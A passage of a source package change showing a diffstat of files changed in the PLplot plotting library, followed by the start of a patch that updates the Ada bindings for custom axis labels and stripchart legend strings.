 plplot-5.9.5/doc/docbook/src/plvec1.html                     |only
 plplot-5.9.5/doc/docbook/src/plvec2.html                     |only
 plplot-5.9.5/doc/docbook/src/plvect.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plvect.html                     |only
 plplot-5.9.5/doc/docbook/src/plvectfortran77.html            |only
 plplot-5.9.5/doc/docbook/src/plvectfortran95.html            |only
 plplot-5.9.5/doc/docbook/src/plvpas.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plvpas.html                     |only
 plplot-5.9.5/doc/docbook/src/plvpor.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plvpor.html                     |only
 plplot-5.9.5/doc/docbook/src/plvsta.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plvsta.html                     |only
 plplot-5.9.5/doc/docbook/src/plw3d.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plw3d.html                      |only
 plplot-5.9.5/doc/docbook/src/plwid.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plwid.html                      |only
 plplot-5.9.5/doc/docbook/src/plwind.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plwind.html                     |only
 plplot-5.9.5/doc/docbook/src/plxormod.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plxormod.html                   |only
 plplot-5.9.5/doc/docbook/src/postscript-driver.html          |only
 plplot-5.9.5/doc/docbook/src/python.html                     |only
 plplot-5.9.5/doc/docbook/src/scales.html                     |only
 plplot-5.9.5/doc/docbook/src/simple.html                     |only
 plplot-5.9.5/doc/docbook/src/static_built_files              |only
 plplot-5.9.5/doc/docbook/src/svg-driver.html                 |only
 plplot-5.9.5/doc/docbook/src/tcl-contouring.html             |only
 plplot-5.9.5/doc/docbook/src/tcl-extension.html              |only
 plplot-5.9.5/doc/docbook/src/tcl-overview.html               |only
 plplot-5.9.5/doc/docbook/src/tcl-understanding.html          |only
 plplot-5.9.5/doc/docbook/src/tcl.html                        |only
 plplot-5.9.5/doc/docbook/src/tk-driver.html                  |only
 plplot-5.9.5/doc/docbook/src/tri-d-plots.html                |only
 plplot-5.9.5/doc/docbook/src/truetype-postscript-driver.html |only
 plplot-5.9.5/doc/docbook/src/viewport_window.html            |only
 plplot-5.9.5/doc/docbook/src/windows-notes.html              |only
 plplot-5.9.5/doc/docbook/src/wxwidgets-driver.html           |only
 plplot-5.9.5/doc/docbook/src/x-drivers.html                  |only
 plplot-5.9.5/drivers/gnome.c                                 |only
 plplot-5.9.5/drivers/next.c                                  |only
 plplot-5.9.5/drivers/xwinttf.c                               |only
 plplot-5.9.5/include/plhershey-unicode.h                     |only
 plplot/OLD-README.release                                    |  700 +
 plplot/README.Release_Manager_Cookbook                       |   80 
 plplot/README.release                                        |  229 
 plplot/bindings/ada/plplot.adb.cmake                         |   56 
 plplot/bindings/ada/plplot.ads.cmake                         |   54 
 plplot/bindings/ada/plplot_thin.ads.cmake                    |   62 
 plplot/bindings/ada/plplot_traditional.adb.cmake             |   57 
 plplot/bindings/ada/plplot_traditional.ads.cmake             |   53 
 plplot/bindings/c++/plstream.cc                              | 1838 +--
 plplot/bindings/c++/plstream.h                               |  877 -
 plplot/bindings/f77/CMakeLists.txt                           |    6 
 plplot/bindings/f77/plstubs.h                                |  496 -
 plplot/bindings/f77/sc3d.c                                   |  174 
 plplot/bindings/f77/sccont.c                                 | 1092 +-
 plplot/bindings/f77/scstubs.c                                |  794 -
 plplot/bindings/f95/CMakeLists.txt                           |   47 
 plplot/bindings/f95/plflt.inc.in                             |    5 
 plplot/bindings/f95/plstubs.h                                |  500 -
 plplot/bindings/f95/sc3d.c                                   |  174 
 plplot/bindings/f95/sccont.c                                 | 1087 +-
 plplot/bindings/f95/scstubs.c                                |  856 -
 plplot/bindings/gnome2/lib/gcw-lib.c                         | 1264 +-
 plplot/bindings/gnome2/lib/plplotcanvas.c                    | 1059 +-
 plplot/bindings/gnome2/python/cplplotcanvasmodule.c          |   83 
 plplot/bindings/gnome2/python/gcwmodule.c                    |   85 
 plplot/bindings/java/CMakeLists.txt                          |  374 
 plplot/bindings/ocaml/CMakeLists.txt                         |  413 
 plplot/bindings/ocaml/META.in                                |    9 
 plplot/bindings/ocaml/README                                 |   93 
 plplot/bindings/ocaml/plcairo/CMakeLists.txt                 |  256 
 plplot/bindings/ocaml/plcairo/META.in                        |    9 
 plplot/bindings/ocaml/plcairo/plcairo.ml                     |  222 
 plplot/bindings/ocaml/plcairo/plcairo.mli                    |   91 
 plplot/bindings/ocaml/plcairo/plcairo_impl.c                 |   51 
 plplot/bindings/ocaml/plplot.ml                              | 1265 ++
 plplot/bindings/ocaml/plplot.mli                             |  930 +
 plplot/bindings/ocaml/plplot_core.idl                        |  243 
 plplot/bindings/ocaml/plplot_h                               |    6 
 plplot/bindings/ocaml/plplot_h.inc                           |    6 
 plplot/bindings/ocaml/plplot_impl.c                          |  865 +
 plplot/bindings/ocaml/touchup.ml                             |  112 
 plplot/bindings/octave/CMakeLists.txt                        |   20 
 plplot/bindings/octave/massage.c                             |  178 
 plplot/bindings/octave/plplot_octave.h.in                    | 1594 +--
 plplot/bindings/octave/plplot_octave_rej.h                   |  162 
 plplot/bindings/python/CMakeLists.txt                        |    6 
 plplot/bindings/python/plplot_widgetmodule.c                 |   35 
 plplot/bindings/qt_gui/plqt.cpp                              | 1389 +-
 plplot/bindings/tcl/CMakeLists.txt                           |   44 
 plplot/bindings/tcl/matrixInit.c                             |   58 
 plplot/bindings/tcl/pltcl.h                                  |   18 
 plplot/bindings/tcl/tclAPI.c                                 | 4761 +++++----
 plplot/bindings/tcl/tclMain.c                                |  480 
 plplot/bindings/tcl/tclMatrix.c                              | 1286 +-
 plplot/bindings/tcl/tclMatrix.h                              |  371 
 plplot/bindings/tk-x-plat/Plplotter_Init.c                   |   19 
 plplot/bindings/tk-x-plat/plplotter.c                        | 2811 +++--
 plplot/bindings/tk-x-plat/pltkwd.h                           |  114 
 plplot/bindings/tk/Pltk_Init.c                               |   33 
 plplot/bindings/tk/plframe.c                                 | 3632 +++----
 plplot/bindings/tk/plr.c                                     |  570 -
 plplot/bindings/tk/plserver.c                                |  266 
 plplot/bindings/tk/plserver.h                                |   35 
 plplot/bindings/tk/pltk.h                                    |   10 
 plplot/bindings/tk/pltkd.h                                   |   55 
 plplot/bindings/tk/stupidtk.c                                |    5 
 plplot/bindings/tk/tcpip.c                                   |  522 -
 plplot/bindings/tk/tcpip.h                                   |   12 
 plplot/bindings/tk/tkMain.c                                  |  514 -
 plplot/bindings/tk/tkshell.c                                 |   60 
 plplot/bindings/wxwidgets/CMakeLists.txt                     |   19 
 plplot/bindings/wxwidgets/wxPLplotstream.cpp                 |  216 
 plplot/bindings/wxwidgets/wxPLplotstream.h.in                |  101 
 plplot/bindings/wxwidgets/wxPLplotwindow.cpp                 |  228 
 plplot/bindings/wxwidgets/wxPLplotwindow.h                   |   90 
 plplot/cmake/modules/FindwxWidgets.cmake                     | 1020 ++
 plplot/cmake/modules/docbook.cmake                           |    2 
 plplot/cmake/modules/doxygen.cmake                           |   32 
 plplot/cmake/modules/drivers-finish.cmake                    |   63 
 plplot/cmake/modules/drivers-init.cmake                      |  175 
 plplot/cmake/modules/fortran.cmake                           |    4 
 plplot/cmake/modules/ocaml.cmake                             |  197 
 plplot/cmake/modules/plplot.cmake                            |   10 
 plplot/cmake/modules/wxwidgets.cmake                         |   15 
 plplot/config.h.cmake                                        |  163 
 plplot/data/CMakeLists.txt                                   |    2 
 plplot/data/cmap1_highfreq.pal                               |    4 
 plplot/data/cmap1_lowfreq.pal                                |    6 
 plplot/debian/changelog                                      |    9 
 plplot/debian/control.in                                     |    9 
 plplot/doc/CMakeLists.txt                                    |   37 
 plplot/doc/Doxyfile.in                                       | 1557 +++
 plplot/doc/docbook/src/ocaml.xml                             |  287 
 plplot/doc/docbook/src/plplotdoc.xml.in                      |    2 
 plplot/drivers/README.drivers                                |  193 
 plplot/drivers/aqt.c                                         | 1350 +-
 plplot/drivers/cairo.c                                       | 3900 ++++----
 plplot/drivers/cgm.c                                         |  762 -
 plplot/drivers/dg300.c                                       |  128 
 plplot/drivers/gcw.c                                         | 1919 ++-
 plplot/drivers/gd.c                                          | 1475 +--
 plplot/drivers/hpgl.c                                        |  264 
 plplot/drivers/impress.c                                     |  277 
 plplot/drivers/linuxvga.c                                    |  243 
 plplot/drivers/ljii.c                                        |  236 
 plplot/drivers/ljiip.c                                       |  504 -
 plplot/drivers/mem.c                                         |  196 
 plplot/drivers/ntk.c                                         |  818 -
 plplot/drivers/null.c                                        |   82 
 plplot/drivers/pbm.c                                         |  315 
 plplot/drivers/pdf.c                                         |  952 +
 plplot/drivers/plmeta.c                                      |  707 -
 plplot/drivers/plplotcanvas-hacktext.c                       |  844 -
 plplot/drivers/ps.c                                          | 1530 +--
 plplot/drivers/pstex.c                                       |  748 -
 plplot/drivers/qt.cpp                                        | 1829 +--
 plplot/drivers/svg.c                                         | 1939 ++--
 plplot/drivers/tek.c                                         | 1244 +-
 plplot/drivers/test-drv-info.c                               |   77 
 plplot/drivers/tk.c                                          | 1878 ++-
 plplot/drivers/tkwin.c                                       | 1775 +--
 plplot/drivers/wingcc.c                                      | 1664 +--
 plplot/drivers/wxwidgets.cpp                                 | 1753 +--
 plplot/drivers/wxwidgets.h                                   |  715 -
 plplot/drivers/wxwidgets_agg.cpp                             |  669 -
 plplot/drivers/wxwidgets_app.cpp                             | 1189 +-
 plplot/drivers/wxwidgets_dc.cpp                              |  367 
 plplot/drivers/wxwidgets_gc.cpp                              |  584 -
 plplot/drivers/xfig.c                                        |  737 -
 plplot/drivers/xwin.c                                        | 3560 +++----
 plplot/examples/CMakeLists.txt                               |  578 -
 plplot/examples/ada/CMakeLists.txt                           |    1 
 plplot/examples/ada/x19a.adb.cmake                           |  121 
 plplot/examples/ada/xthick19a.adb.cmake                      |  119 
 plplot/examples/c++/CMakeLists.txt                           |    1 
 plplot/examples/c++/plc++demos.h                             |   42 
 plplot/examples/c++/qt_PlotWindow.cpp                        |  240 
 plplot/examples/c++/qt_PlotWindow.h                          |  108 
 plplot/examples/c++/qt_example.cpp                           |   92 
 plplot/examples/c++/wxPLplotDemo.cpp                         |  337 
 plplot/examples/c++/x01.cc                                   |  493 -
 plplot/examples/c++/x01cc.cc                                 |  309 
 plplot/examples/c++/x02.cc                                   |  218 
 plplot/examples/c++/x03.cc                                   |  183 
 plplot/examples/c++/x04.cc                                   |  180 
 plplot/examples/c++/x05.cc                                   |   65 
 plplot/examples/c++/x06.cc                                   |  110 
 plplot/examples/c++/x07.cc                                   |  115 
 plplot/examples/c++/x08.cc                                   |  419 
 plplot/examples/c++/x09.cc                                   |  833 -
 plplot/examples/c++/x10.cc                                   |   46 
 plplot/examples/c++/x11.cc                                   |  278 
 plplot/examples/c++/x12.cc                                   |  122 
 plplot/examples/c++/x13.cc                                   |  154 
 plplot/examples/c++/x14.cc                                   |  461 
 plplot/examples/c++/x15.cc                                   |  316 
 plplot/examples/c++/x16.cc                                   |  601 -
 plplot/examples/c++/x17.cc                                   |  255 
 plplot/examples/c++/x18.cc                                   |  275 
 plplot/examples/c++/x19.cc                                   |  180 
 plplot/examples/c++/x20.cc                                   |  805 -
 plplot/examples/c++/x21.cc                                   |  675 -
 plplot/examples/c++/x22.cc                                   |  315 
 plplot/examples/c++/x23.cc                                   |  682 -
 plplot/examples/c++/x24.cc                                   |  191 
 plplot/examples/c++/x25.cc                                   |  133 
 plplot/examples/c++/x26.cc                                   |  227 
 plplot/examples/c++/x27.cc                                   |  179 
 plplot/examples/c++/x28.cc                                   |  734 -
 plplot/examples/c++/x29.cc                                   |  609 -
 plplot/examples/c++/x30.cc                                   |  337 
 plplot/examples/c++/x31.cc                                   |  479 
 plplot/examples/c/CMakeLists.txt                             |    3 
 plplot/examples/c/ext-cairo-test.c                           |   30 
 plplot/examples/c/extXdrawable_demo.c                        |  275 
 plplot/examples/c/plcdemos.h                                 |   50 
 plplot/examples/c/plplotcanvas_animation.c                   |  394 
 plplot/examples/c/plplotcanvas_demo.c                        |  123 
 plplot/examples/c/test_plend.c                               |   21 
 plplot/examples/c/tutor.c                                    |  204 
 plplot/examples/c/x01c.c                                     |  403 
 plplot/examples/c/x02c.c                                     |  119 
 plplot/examples/c/x03c.c                                     |  111 
 plplot/examples/c/x04c.c                                     |   97 
 plplot/examples/c/x05c.c                                     |   34 
 plplot/examples/c/x06c.c                                     |   76 
 plplot/examples/c/x07c.c                                     |  107 
 plplot/examples/c/x08c.c                                     |  352 
 plplot/examples/c/x09c.c                                     |  702 -
 plplot/examples/c/x10c.c                                     |   35 
 plplot/examples/c/x11c.c                                     |  256 
 plplot/examples/c/x12c.c                                     |   75 
 plplot/examples/c/x13c.c                                     |   92 
 plplot/examples/c/x14c.c                                     |  386 
 plplot/examples/c/x15c.c                                     |  355 
 plplot/examples/c/x16c.c                                     |  517 -
 plplot/examples/c/x17c.c                                     |  142 
 plplot/examples/c/x18c.c                                     |  211 
 plplot/examples/c/x19c.c                                     |  139 
 plplot/examples/c/x20c.c                                     |  843 -
 plplot/examples/c/x21c.c                                     |  666 -
 plplot/examples/c/x22c.c                                     |  397 
 plplot/examples/c/x23c.c                                     |  670 -
 plplot/examples/c/x24c.c                                     |  244 
 plplot/examples/c/x25c.c                                     |  130 
 plplot/examples/c/x26c.c                                     |  246 
 plplot/examples/c/x27c.c                                     |  202 
 plplot/examples/c/x28c.c                                     |  751 -
 plplot/examples/c/x29c.c                                     |  616 -
 plplot/examples/c/x30c.c                                     |  297 
 plplot/examples/c/x31c.c                                     |  506 -
 plplot/examples/c/x32c.c                                     |  183 
 plplot/examples/d/CMakeLists.txt                             |    1 
 plplot/examples/d/x12d.d                                     |    2 
 plplot/examples/f77/CMakeLists.txt                           |   10 
 plplot/examples/f95/CMakeLists.txt                           |    1 
 plplot/examples/f95/x25f.f90                                 |    2 
 plplot/examples/f95/x26f.f90                                 |    2 
 plplot/examples/f95/x27f.f90                                 |    2 
 plplot/examples/java/CMakeLists.txt                          |   75 
 plplot/examples/java/x27.java                                |    2 
 plplot/examples/lua/CMakeLists.txt                           |  132 
 plplot/examples/ocaml/CMakeLists.txt                         |  181 
 plplot/examples/ocaml/Makefile.examples.in                   |    8 
 plplot/examples/ocaml/x01.ml                                 |    4 
 plplot/examples/ocaml/x02.ml                                 |    4 
 plplot/examples/ocaml/x03.ml                                 |    4 
 plplot/examples/ocaml/x04.ml                                 |    4 
 plplot/examples/ocaml/x05.ml                                 |    4 
 plplot/examples/ocaml/x06.ml                                 |    4 
 plplot/examples/ocaml/x07.ml                                 |    4 
 plplot/examples/ocaml/x08.ml                                 |    4 
 plplot/examples/ocaml/x09.ml                                 |   12 
 plplot/examples/ocaml/x10.ml                                 |    4 
 plplot/examples/ocaml/x11.ml                                 |    4 
 plplot/examples/ocaml/x12.ml                                 |    4 
 plplot/examples/ocaml/x13.ml                                 |    4 
 plplot/examples/ocaml/x14.ml                                 |   10 
 plplot/examples/ocaml/x15.ml                                 |    8 
 plplot/examples/ocaml/x16.ml                                 |   23 
 plplot/examples/ocaml/x17.ml                                 |   25 
 plplot/examples/ocaml/x18.ml                                 |   14 
 plplot/examples/ocaml/x19.ml                                 |    2 
 plplot/examples/ocaml/x20.ml                                 |   10 
 plplot/examples/ocaml/x21.ml                                 |    6 
 plplot/examples/ocaml/x22.ml                                 |   10 
 plplot/examples/ocaml/x23.ml                                 |    2 
 plplot/examples/ocaml/x24.ml                                 |    2 
 plplot/examples/ocaml/x25.ml                                 |    4 
 plplot/examples/ocaml/x26.ml                                 |    4 
 plplot/examples/ocaml/x27.ml                                 |    4 
 plplot/examples/ocaml/x28.ml                                 |    4 
 plplot/examples/ocaml/x29.ml                                 |    4 
 plplot/examples/ocaml/x30.ml                                 |    8 
 plplot/examples/ocaml/x31.ml                                 |   14 
 plplot/examples/ocaml/xgtk_interface.ml                      |   89 
 plplot/examples/ocaml/xplot01.ml                             |  240 
 plplot/examples/octave/CMakeLists.txt                        |  158 
 plplot/examples/perl/CMakeLists.txt                          |  148 
 plplot/examples/plplot_configure.cmake_installed_examples.in |  445 
 plplot/examples/python/CMakeLists.txt                        |  175 
 plplot/examples/python/plplotcanvas_animation.py             |    2 
 plplot/examples/python/plplotcanvas_demo.py                  |    2 
 plplot/examples/tcl/CMakeLists.txt                           |  121 
 plplot/examples/tcl/x19.tcl                                  |   60 
 plplot/examples/tcl/x23                                      |    2 
 plplot/examples/tcl/x24                                      |    2 
 plplot/examples/tcl/x28                                      |    2 
 plplot/examples/tcl/x29                                      |    2 
 plplot/examples/tk/CMakeLists.txt                            |    1 
 plplot/examples/tk/xtk01.c                                   |  405 
 plplot/examples/tk/xtk02.c                                   |  223 
 plplot/examples/tk/xtk04.c                                   |  106 
 plplot/fonts/font01.c                                        |  960 -
 plplot/fonts/font02.c                                        |  828 -
 plplot/fonts/font03.c                                        |  756 -
 plplot/fonts/font04.c                                        |  804 -
 plplot/fonts/font05.c                                        |  564 -
 plplot/fonts/font06.c                                        |  636 -
 plplot/fonts/font07.c                                        |  636 -
 plplot/fonts/font08.c                                        |  612 -
 plplot/fonts/font09.c                                        |  612 -
 plplot/fonts/font10.c                                        |  612 -
 plplot/fonts/font11.c                                        |  652 -
 plplot/fonts/plhershey-unicode-gen.c                         |  252 
 plplot/fonts/stndfont.c                                      |  200 
 plplot/fonts/xtndfont.c                                      |  173 
 plplot/include/CMakeLists.txt                                |   23 
 plplot/include/dirent_msvc.h                                 |  204 
 plplot/include/disptab.h                                     |   60 
 plplot/include/drivers.h                                     |  220 
 plplot/include/gcw.h                                         |  158 
 plplot/include/ltdl_win32.h                                  |   54 
 plplot/include/metadefs.h                                    |  104 
 plplot/include/moc_files.h.in                                |    6 
 plplot/include/pdf.h                                         |  132 
 plplot/include/plConfig.h.cmake                              |   94 
 plplot/include/plDevs.h.cmake                                |   70 
 plplot/include/plcore.h                                      |  243 
 plplot/include/pldebug.h                                     |   79 
 plplot/include/pldll.h.in                                    |  190 
 plplot/include/plevent.h                                     |  342 
 plplot/include/plfci-truetype.h                              |  108 
 plplot/include/plfci-type1.h                                 |  110 
 plplot/include/plfreetype.h                                  |  130 
 plplot/include/plplot.h                                      | 1548 +--
 plplot/include/plplotP.h                                     |  701 -
 plplot/include/plplotcanvas-hacktext.h                       |   54 
 plplot/include/plplotcanvas.h                                |  334 
 plplot/include/plstrm.h                                      |  252 
 plplot/include/plunicode-type1.h                             | 1067 +-
 plplot/include/plxwd.h                                       |  110 
 plplot/include/ps.h                                          |  102 
 plplot/include/qt.h                                          |  538 -
 plplot/lib/csa/csa.c                                         | 2192 ++--
 plplot/lib/csa/csa.h                                         |   31 
 plplot/lib/csa/csadll.h                                      |   44 
 plplot/lib/csa/nan.h                                         |   32 
 plplot/lib/csa/version.h                                     |    2 
 plplot/lib/nistcd/cd.c                                       | 4953 +++++-----
 plplot/lib/nistcd/cd.h                                       |  320 
 plplot/lib/nistcd/cddll.h                                    |   42 
 plplot/lib/nistcd/cdexpert.c                                 |  259 
 plplot/lib/nistcd/cdmulti.c                                  |  131 
 plplot/lib/nistcd/cdsimple.c                                 |  141 
 plplot/lib/nistcd/cdtest.c                                   |  941 +
 plplot/lib/nistcd/cdtext.c                                   |  258 
 plplot/lib/nistcd/color16.c                                  |  334 
 plplot/lib/nistcd/defines.h                                  |   94 
 plplot/lib/nn/delaunay.c                                     |  925 +
 plplot/lib/nn/delaunay.h                                     |   46 
 plplot/lib/nn/hash.c                                         |  674 -
 plplot/lib/nn/hash.h                                         |   26 
 plplot/lib/nn/istack.c                                       |   40 
 plplot/lib/nn/istack.h                                       |   17 
 plplot/lib/nn/lpi.c                                          |  128 
 plplot/lib/nn/nan.h                                          |   62 
 plplot/lib/nn/nn.h                                           |  175 
 plplot/lib/nn/nnai.c                                         |  405 
 plplot/lib/nn/nncommon.c                                     |  383 
 plplot/lib/nn/nndll.h                                        |   42 
 plplot/lib/nn/nnpi.c                                         |  784 -
 plplot/lib/nn/version.h                                      |    2 
 plplot/lib/qsastime/bhunt_search_test.c                      |  191 
 plplot/lib/qsastime/deltaT-gen.c                             |  241 
 plplot/lib/qsastime/deltaT_test.c                            |   15 
 plplot/lib/qsastime/dspline.c                                |  125 
 plplot/lib/qsastime/dsplint.c                                |  173 
 plplot/lib/qsastime/qsastime.c                               | 2382 ++--
 plplot/lib/qsastime/qsastime.h                               |   82 
 plplot/lib/qsastime/qsastimeP.h.in                           |  121 
 plplot/lib/qsastime/qsastime_extra.c                         |  423 
 plplot/lib/qsastime/qsastime_extra.h                         |   94 
 plplot/lib/qsastime/qsastime_test.c                          |  263 
 plplot/lib/qsastime/qsastime_testlib.c                       | 1125 +-
 plplot/lib/qsastime/qsastimedll.h                            |   34 
 plplot/lib/qsastime/tai-utc-gen.c                            |  275 
 plplot/plplot_test/CMakeLists.txt                            |    8 
 plplot/plplot_test/plplot-test.sh.cmake                      |   74 
 plplot/plplot_test/test_c_interactive.sh.in                  |   48 
 plplot/scripts/style_source.sh                               |  194 
 plplot/src/CMakeLists.txt                                    |    1 
 plplot/src/ltdl_win32.c                                      |  139 
 plplot/src/mt19937ar.c                                       |  222 
 plplot/src/mt19937ar.h                                       |  104 
 plplot/src/pdfutils.c                                        |  879 -
 plplot/src/plarc.c                                           |   88 
 plplot/src/plargs.c                                          | 2734 +++--
 plplot/src/plbox.c                                           | 2123 ++--
 plplot/src/plbuf.c                                           | 1273 +-
 plplot/src/plcont.c                                          | 1445 +--
 plplot/src/plcore.c                                          | 3784 ++++---
 plplot/src/plctrl.c                                          | 2853 +++--
 plplot/src/plcvt.c                                           |  160 
 plplot/src/pldeprecated.c                                    |  222 
 plplot/src/pldtik.c                                          |  429 
 plplot/src/plfill.c                                          |  433 
 plplot/src/plfreetype.c                                      | 1288 +-
 plplot/src/plgridd.c                                         | 1326 +-
 plplot/src/plgset.c                                          |   99 
 plplot/src/plhist.c                                          |  335 
 plplot/src/plimage.c                                         |  470 
 plplot/src/plline.c                                          | 1966 ++--
 plplot/src/plmap.c                                           |  423 
 plplot/src/plot3d.c                                          | 3861 ++++----
 plplot/src/plpage.c                                          |  414 
 plplot/src/plsdef.c                                          |  488 -
 plplot/src/plshade.c                                         | 1491 +--
 plplot/src/plstdio.c                                         |  169 
 plplot/src/plstripc.c                                        |  378 
 plplot/src/plsym.c                                           | 2448 ++---
 plplot/src/pltick.c                                          |  126 
 plplot/src/pltime.c                                          |   94 
 plplot/src/plvect.c                                          |  287 
 plplot/src/plvpor.c                                          |  606 -
 plplot/src/plwind.c                                          |  215 
 plplot/sys/win-tk/Readme.txt                                 |   16 
 plplot/sys/win-tk/makePlplotStarkit.tcl                      |   49 
 plplot/sys/win-tk/makefile.vc                                |  512 +
 plplot/sys/win-tk/pkgIndex.tcl                               |   20 
 plplot/sys/win-tk/plConfig.h                                 |  113 
 plplot/sys/win-tk/plDevs.h                                   |   50 
 plplot/sys/win-tk/tclIndex                                   |   42 
 plplot/sys/win-tk/tclgen.c                                   | 5295 +++++++++++
 plplot/sys/win-tk/tclgen.h                                   |  104 
 plplot/sys/win-tk/tclgen_s.h                                 |  104 
 plplot/sys/win-tk/testPlplot.tcl                             |   50 
 plplot/uncrustify.cfg                                        | 1284 ++
 plplot/utils/plrender.c                                      | 2077 ++--
 plplot/utils/pltcl.c                                         |   72 
 plplot/utils/pltek.c                                         |  352 
 plplot/utils/tektest.c                                       |  247 
 plplot/utils/xform.c                                         |   12 
 plplot/www/examples.php                                      |    2 
 883 files changed, 102132 insertions(+), 80220 deletions(-)

--- NEW FILE plplot-5.9.5-svn10561.patch ---
diff -ru --unidirectional-new-file --exclude=.svn plplot-5.9.5/bindings/ada/plplot.adb.cmake plplot/bindings/ada/plplot.adb.cmake
--- plplot-5.9.5/bindings/ada/plplot.adb.cmake	2009-09-06 13:04:43.000000000 -0600
+++ plplot/bindings/ada/plplot.adb.cmake	2009-10-28 12:37:04.673841210 -0600
@@ -1,4 +1,4 @@
--- $Id: plplot.adb.cmake 10316 2009-08-23 00:22:26Z jbauck $
+-- $Id: plplot.adb.cmake 10468 2009-09-24 01:01:06Z jbauck $
 
 -- Thick Ada binding to PLplot
 
@@ -2685,6 +2685,23 @@
     --         PLPointer pltr_data);
 
 
+    -- Setup a user-provided custom labeling function.
+    -- plslabelfunc
+    procedure Set_Custom_Label
+       (Custom_Label_Procedure_Pointer : Custom_Label_Procedure_Pointer_Type;
+        label_data                     : PLPointer) is
+    begin
+        plslabelfunc(Custom_Label_Procedure_Pointer, label_data);
+    end Set_Custom_Label;
+    
+    
+    -- Reset to default labeling. Not part of the C API.
+    procedure Use_Default_Labels is
+    begin
+        plslabelfunc(null, System.Null_Address);
+    end Use_Default_Labels;
+
+
     -- Set up lengths of major tick marks.
     -- plsmaj
     procedure Set_Major_Tick_Length(Default_Length, Scale_Factor : Long_Float) is
@@ -2842,7 +2859,7 @@
         Box_Color, Legend_Color              : Plot_Color_Type;
         Pen_Colors                           : Integer_Array_1D;
         Line_Styles                          : Integer_Array_1D;
-        Pen_Labels                           : Stripchart_Label_String_Array_Type;
+        Pen_Labels                           : in out Stripchart_Label_String_Array_Type;
         X_Label, Y_Label, Title_Label        : String := To_String(Default_Label_String)) is
     
         PL_Autoscale_Y, PL_Accumulate : PLBOOL;
@@ -2864,17 +2881,30 @@
             PL_Accumulate := PLfalse;
         end if;
         
-        -- Adapt strings for Pen_Labels to C. Head truncates or pads as 
-        -- necessary to the length of Stripchart_String - 1; we then append 
-        -- a null terminator which I suppose C needs. This could have also been 
-        -- accomplished using char_array from the C interfaces.
-        -- fix this NOTE that the current implementation displays all four 
-        -- legend labels the same, and equal to the fourth legend label. The 
-        -- goal is to match const char *legline[4] in plstripc.c and e.g. 
-        -- in x17c.c.
-        for Index in Pen_Labels'range loop
-            Temp_C_Stripchart_String := To_String(Head(Pen_Labels(Index), PL_Stripchart_String'length - 1) & Character'val(0));
-            PL_Pen_Labels(Index) := Temp_C_Stripchart_String'Access;
+        -- Adapt strings for Pen_Labels to C. We have to pass an array of 
+        -- pointers (here, System.Address) to C-style strings, except that the 
+        -- C-style strings usually have the null terminator somewhere in the
+        -- middle of the allocated string memory, after the "significant text."
+        -- I'm not sure if C allocates the memory or not--probably not, since 
+        -- this is not a callback as in plslabelfunc where string memory was 
+        -- allocated by the intervening C code. Here, the C string length is set
+        -- by Max_Stripchart_Label_Length, ranging 0 .. Max_Stripchart_Label_Length.
+        for I in Pen_Labels'range loop
+
+            -- Check length and adjust if necessary.
+            if Length(Pen_Labels(I)) >= Max_Stripchart_Label_Length then
+                Put_Line("*** Warning: Stripchart label was truncated to" 
+                    & Integer'Image(Max_Stripchart_Label_Length) & " characters. ***");
+                Pen_Labels(I) := Head(Pen_Labels(I), Max_Stripchart_Label_Length);
+            end if;
+
+            -- Make the C-style string with null character immediately after the text.
+            C_Stripchart_String_Array(I) := To_C(To_String(Pen_Labels(I) 
+                & Character'val(0) 
+                & (Max_Stripchart_Label_Length - Length(Pen_Labels(I))) * " "), False);
+
+            -- Set the I-th pointer in the array of pointers.
+            PL_Pen_Labels(I) := C_Stripchart_String_Array(I)'Address;
         end loop;
 
         plstripc(ID, To_C(X_Options), To_C(Y_Options), 
diff -ru --unidirectional-new-file --exclude=.svn plplot-5.9.5/bindings/ada/plplot.ads.cmake plplot/bindings/ada/plplot.ads.cmake
--- plplot-5.9.5/bindings/ada/plplot.ads.cmake	2009-09-06 13:04:43.000000000 -0600
+++ plplot/bindings/ada/plplot.ads.cmake	2009-10-28 12:37:04.654841442 -0600
@@ -1,4 +1,4 @@
--- $Id: plplot.ads.cmake 10314 2009-08-21 20:16:22Z jbauck $
+-- $Id: plplot.ads.cmake 10468 2009-09-24 01:01:06Z jbauck $
 
 -- Thick Ada binding to PLplot
 
@@ -83,6 +83,17 @@
     
     -- "Rename" the necessarily constrained array for mapping longitudes and latitudes.
     subtype Map_Form_Constrained_Array is PLplot_Thin.Map_Form_Constrained_Array;
+    
+    -- This is a fixed-length string for use with custom label procedures 
+    -- in Custom_Label_Procedure_Pointer_Type, and plslabelfunc (Set_Custom_Label).
+    -- This length, 0 .. 40, is hardwired in the PLplot C code; this type will
+    -- fail if that length is ever changed.
+    Max_Label_String_Length : Integer renames PLplot_Thin.Max_Label_String_Length;
+    subtype Label_String_Type is PLplot_Thin.Label_String_Type;
+
+    -- "Rename" callback for custom label functions.
+    subtype Custom_Label_Procedure_Pointer_Type is 
+        PLplot_Thin.Custom_Label_Procedure_Pointer_Type;
 
 --------------------------------------------------------------------------------
 --        Types and constants for thick binding                               --
@@ -131,10 +142,12 @@
     type Line_Style_Array_Type is array (1..Max_Lines_For_Multiplot) of Line_Style_Type;
     Default_Line_Style_Array : Line_Style_Array_Type := (1, 1, 1, 1, 1);
     
-    -- Arrays of label strings
+    -- Things for label strings
     Default_Label_String : constant Unbounded_String := To_Unbounded_String("");
     type Label_String_Array_Type is array (1..Max_Lines_For_Multiplot) of Unbounded_String;
     Default_Label_String_Array : Label_String_Array_Type := (others => Default_Label_String);
+ 
+    -- Things for stripcharts
     Maximum_Number_Of_Stripcharts : Integer := 4; -- Limited by PLplot designers.
     type Stripchart_Label_String_Array_Type is array (1 .. Maximum_Number_Of_Stripcharts) of Unbounded_String;
 
@@ -146,7 +159,7 @@
     Justified_Square_Box : constant Justification_Type := 2;
 
     -- Axis styles
-    subtype Axis_Style_Type is Integer range -2..63; -- Not all values are used.
+    subtype Axis_Style_Type is Integer range -2..73; -- Not all values are used. fix this in docs
 
     No_Box            : constant Axis_Style_Type := -2;
     Box               : constant Axis_Style_Type := -1;
@@ -185,6 +198,11 @@
     Date_Time_XY_Linear_Zero_Axes  : constant Axis_Style_Type := 61;
